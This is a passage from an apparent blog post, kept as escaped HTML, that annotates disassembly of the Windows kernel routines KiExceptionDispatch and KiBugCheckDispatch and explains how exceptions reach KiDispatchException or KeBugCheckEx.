&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EAB5&lt;/span&gt; &lt;span class="no"&gt;movaps&lt;/span&gt; &lt;span class="no"&gt;xmmword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax-60h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;xmm13&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EABA&lt;/span&gt; &lt;span class="no"&gt;movaps&lt;/span&gt; &lt;span class="no"&gt;xmmword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax-50h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;xmm14&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EABF&lt;/span&gt; &lt;span class="no"&gt;movaps&lt;/span&gt; &lt;span class="no"&gt;xmmword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax-40h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;xmm15&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EAC4&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;rbx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EAC7&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EACB&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;rsi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EACF&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;r12&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EAD3&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;r13&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EAD7&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;r14&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EADB&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;r15&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EADF&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;gs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;188&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EAE8&lt;/span&gt; &lt;span class="no"&gt;bt&lt;/span&gt; &lt;span class="no"&gt;dword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="no"&gt;Ch&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;Bh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EAED&lt;/span&gt; &lt;span class="no"&gt;jnb&lt;/span&gt; &lt;span class="no"&gt;short&lt;/span&gt; &lt;span class="no"&gt;SkipUms&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EAEF&lt;/span&gt; &lt;span class="no"&gt;test&lt;/span&gt; &lt;span class="no"&gt;byte&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;F0h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EAF6&lt;/span&gt; &lt;span class="no"&gt;jz&lt;/span&gt; &lt;span class="no"&gt;short&lt;/span&gt; &lt;span class="no"&gt;SkipUms&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EAF8&lt;/span&gt; &lt;span class="no"&gt;call&lt;/span&gt; &lt;span class="no"&gt;KiUmsExceptionEntry&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EAFD&lt;/span&gt; &lt;span class="no"&gt;SkipUms&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Afterwards it creates an EXCEPTION_RECORD associated with the current exception and passes all of this data to KiDispatchException, it also continues execution if KiDispatchException returns but I omitted that part as it is not relevant to us.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-asm" data-lang="asm"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EAFD&lt;/span&gt; &lt;span class="no"&gt;lea&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;D8h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;Src&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EB05&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;ecx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EB07&lt;/span&gt; &lt;span class="no"&gt;xor&lt;/span&gt; &lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ecx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EB09&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;ecx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EB0C&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EB10&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;r8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EB14&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;edx&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EB17&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;r9&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EB1B&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;r10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EB1F&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;r11&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EB23&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;r9b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;F0h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EB2A&lt;/span&gt; &lt;span class="no"&gt;and&lt;/span&gt; &lt;span class="no"&gt;r9b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EB2E&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="no"&gt;D8h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_1B8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="c1"&gt;; char
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EB33&lt;/span&gt; &lt;span class="no"&gt;lea&lt;/span&gt; &lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp-80h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EB37&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;rsp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EB3A&lt;/span&gt; &lt;span class="no"&gt;mov&lt;/span&gt; &lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt; &lt;span class="c1"&gt;; Src
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EB3D&lt;/span&gt; &lt;span class="no"&gt;call&lt;/span&gt; &lt;span class="no"&gt;KiDispatchException&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;KiDispatchException is a little long to analyze instruction by instruction but to simply put it preprocesses the exception by invoking KiPreprocessFault, combines the information from KTRAP_FRAME and KEXCEPTION_FRAME into a single CONTEXT structure, checks for any SEH handlers using RtlDispatchException and jumps to KeBugCheckEx on failure.&lt;/p&gt;
&lt;h2 id="0x12-kibugcheckdispatch-aka-nope-"&gt;0x1.2: KiBugCheckDispatch, a.k.a. Nope &lt;a href="https://emojipedia.org/waving-hand-sign/"&gt;👋&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Similar to KiExceptionDispatch, this routine also partially fills a KEXCEPTION_FRAME on stack but instead afterwards directly jumps to KeBugCheckEx.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-asm" data-lang="asm"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA00&lt;/span&gt; &lt;span class="no"&gt;KiBugCheckDispatch&lt;/span&gt; &lt;span class="no"&gt;proc&lt;/span&gt; &lt;span class="no"&gt;near&lt;/span&gt; &lt;span class="c1"&gt;; CODE XREF: KiInterruptHandler:loc_14006ADC4
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA00&lt;/span&gt; &lt;span class="c1"&gt;; KiNmiInterruptStart+24A
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA00&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA00&lt;/span&gt; &lt;span class="no"&gt;sub&lt;/span&gt; &lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;138&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA07&lt;/span&gt; &lt;span class="no"&gt;lea&lt;/span&gt; &lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA0F&lt;/span&gt; &lt;span class="no"&gt;movaps&lt;/span&gt; &lt;span class="no"&gt;xmmword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;xmm6&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA14&lt;/span&gt; &lt;span class="no"&gt;movaps&lt;/span&gt; &lt;span class="no"&gt;xmmword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;xmm7&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA19&lt;/span&gt; &lt;span class="no"&gt;movaps&lt;/span&gt; &lt;span class="no"&gt;xmmword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;xmm8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA1F&lt;/span&gt; &lt;span class="no"&gt;movaps&lt;/span&gt; &lt;span class="no"&gt;xmmword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;xmm9&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nl"&gt;.text:&lt;/span&gt;&lt;span class="err"&gt;000000014006&lt;/span&gt;&lt;span class="nf"&gt;EA25&lt;/span&gt; &lt;span class="no"&gt;movaps&lt;/span&gt; &lt;span class="no"&gt;xmmword&lt;/span&gt; &lt;span class="no"&gt;ptr&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;70&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="no"&gt;xmm10&lt;/span&gt;
